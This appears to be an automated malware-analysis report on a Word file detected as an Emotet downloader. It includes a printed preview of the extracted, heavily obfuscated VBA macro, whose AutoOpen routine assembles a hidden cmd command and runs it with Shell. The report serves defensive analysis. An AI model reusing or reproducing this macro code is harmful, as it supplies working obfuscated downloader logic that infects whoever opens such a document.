MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6802950-0', indicating a downloader variant of the Emotet family. The presence of an AutoOpen VBA macro, as flagged by heuristics, suggests that the macro executes automatically upon opening the document. The script's intent is to download and execute a second-stage payload, as evidenced by the Shell command within the AutoOpen subroutine.
Heuristics 5
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ClamAV: Doc.Downloader.Emotet-6802950-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6802950-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 36138 bytes |
SHA-256: 42f9a67e0e0b4589107a8d64283fd44155d09c641880ecea255d594515f30ffa |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "amFAQmi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
RRDjV = supwE
zdIfhH = 560
ELCdwh = CDbl(7939)
imWiSZUu = "" + jvRYMaoDi + UAkEUfiQVMIiq + CVar("cm") + jTOPkwGDhHS + SFmPslP + bUQuDDOS + RjkcPT + EknRr + YiIbKFwva + AGKuBJC + fqwiqi + fPjGcv + JTWRbmMu + LAvwOopqIQ + iIJMfXwwTa + IiFHUTcDob + dwjJGmo + XjMHGtaQ + AnPXP + czaNXkWuokO + TdnFSFjnwt + fEwfkwjzE + uMScbLVJHS + nioRpLuuw + oUzuI + ZAwJRHd + QRozVm + PFizuVCUbA + XRCzhsm + YAwGf + ZwTKMQ + rwmAUNL + PdkGHTjdCrU + XfOfPVuS + iYhhlsbi + MjrdpLttWTz + zRzuQ + iuwmpik + iMmHOwG + nwaUTIpnsB + spHJJ + vKFhwiC + tqNPAMuzBrr + EMhvZcA + NFpRsij + lDiqIdSjU + jiHKqINjAz + HrlwItq + svJrLupG + sfaRhOQGqHL + wPiSNiMcI + bmjtUoTct + CzBibwPatmFWfo
NGzZC = qqKSY
vQrBAq = Int(98)
Shell@ imWiSZUu, 0
BARbh = ChrW(WQEFEk)
End Sub
Attribute VB_Name = "uouvHKXJZi"
Function bUQuDDOS()
On Error Resume Next
XtujJC = zCsTWa
XzqnCr = 3
rirYlTAo = "d" + " "
KJrUQa = FAYNS
VapUcn = " " + " /" + "c " + " " + "FO"
zGXYzS = "R /" + "F " + CStr(Chr(SUlXQMDh + jvpZWkmTYzivj + 34 + rDVmqSiEwa + ShTShfdcHzt)) + "token" + "s=2" + " delims=" + "P=Mf" + CStr(Chr(ZwjVcWosD + huwZzrsw + 34 + TmFfzPCP + JiTRVziTEGjPH)) + " %d I" + "N ("
wHqpMXoK = "'assoc.cmd" + "')" + "DO " + "%d /V:" + " /r"
ptuTIuU = " " + CStr(Chr(mjEiPGuPLFJd + HldqjADafDw + 34 + uVYDfvuKjw + lOPILMVsowUGYa)) + " s" + "et " + " +" + "$="
oAbwZz = Sin(20930 * jcYOW + 3199 / QUEBkB)
otXCC = VCdfY
CBGLdC = Fix(HpMvYr)
iFZVbkLSYT = "//-/-\_/\" + "_-\__\ -/_"
poaEn = EBwINL
EUorfa = FnQFFv
iAVjORf = "-\-/\_-\" + "_\// " + "/_-//\" + "/-\\__-_" + "\ /\-_\" + "-"
zRWZQk = Atn(841)
UUELD = "_/\\_/_/- " + "/--\" + "/\_"
Mthnqz = CSng(ZEzSsj)
KdjGG = 2650
QLlTBRTkmdr = "/-\_\_/_" + " _\_--/\\" + "/-//\__ \"
bUQuDDOS = rirYlTAo + VapUcn + zGXYzS + wHqpMXoK + ptuTIuU + iFZVbkLSYT + iAVjORf + UUELD + QLlTBRTkmdr
jcvEu = DwuzM
KDTnj = ChrB(878)
End Function
Function RjkcPT()
On Error Resume Next
HszmwV = 46
EUZEEAXZHBT = "___/\//\_" + "-\--/ --_/"
utlOA = YtWRw
JCvUY = Log(nJNpi)
iKzDMifCavj = "\/-_\" + "_\/" + "_\- \_-\\_"
wkdqsTHR = "\/-" + "_-/-/_ _" + "-\_\-" + "_//_\/" + "/\- _/-_-" + "/\\_-"
TMMVpq = "\/\_- \_-_" + "\-/\_\" + "//--/ _" + "_" + "__\-/" + "/" + "\\/\--"
GpzLju = Round(wGAhUO)
mlwCVr = Haonf
TBmBu = HmBwq
zEUjCbRBti = "- \/\--_" + "_/-_/\/-" + "_ -_" + "-/\-" + "/_/-\\__\" + " _\_-" + "-\/_//"
mYVGRD = Rnd(GNWHM)
vdXYcdE = "-\-_/" + " /" + "\\-"
WvOrp = 5989
jfZjz = AnJDm
CrsRShk = "/\\_/--/-" + "__ --/-" + "\" + "-_\" + "__/" + "/_\\}"
uirQuoRCF = "\_-_///-__"
HGYJa = Log(kLCfUw)
IQXzn = 98
zIbYP = lfNiHG
wDQjzROS = "-\/\-}-\/" + "/_-_/\-/" + "\\-_{\/_//" + "_-\_\"
RjkcPT = EUZEEAXZHBT + iKzDMifCavj + wkdqsTHR + TMMVpq + zEUjCbRBti + vdXYcdE + CrsRShk + uirQuoRCF + wDQjzROS
zHjlP = CLng(813)
End Function
Function EknRr()
On Error Resume Next
JaijVRl = "-" + "-\_/h"
ibDNo = 5060
MCjpBbvpAi = "/\_-"
obZoFw = 141
UdptDwCiHD = "-\-//" + "_-_\/_c/--" + "/__-/\\\-_" + "/\t/_/-" + "_-"
OiAsvW = 307123685
TXzHJT = ChrB(ckJQZo)
tMhwzqnZGB = "\" + "_\/_\--/a/" + "_-\\/_" + "--\/" + "-\/_c\-" + "/"
qwUIPkqkNG = "\_" + "_-///" + "__\\-}" + "_"
EknRr = JaijVRl + MCjpBbvpAi + UdptDwCiHD + tMhwzqnZGB + qwUIPkqkNG
VIclD = CGzEwZ
rJLVrR = CDbl(DTrvj)
End Function
Function YiIbKFwva()
On Error Resume Next
UXpYA = CByte(AHEkT)
CktfQ = "_" + "/\_\-_\/" + "\--//" + ";\" + "\--_/"
XAkqp = CdDJOR
zbsPN = ChrB(59579 * TlaAuk - GZSqE / wUFLwA)
wRHFJwn = "/-_-_\/" + "/_k/-\_-\"
RMJivk = 2
EkHdV = CSng(16838 / nRwipo + 86246 * fAsiH)
PXGfpA = RdDUIc
fFBaP = "___/--//"
AaOBv = 7
ZIWsBH = 19
BCcVYIN = "\a-" + "_--///\" + "-\" + "\/__\e\" + "-\"
sYsiiC = iWisi
JBQDL = CBool
... (truncated)
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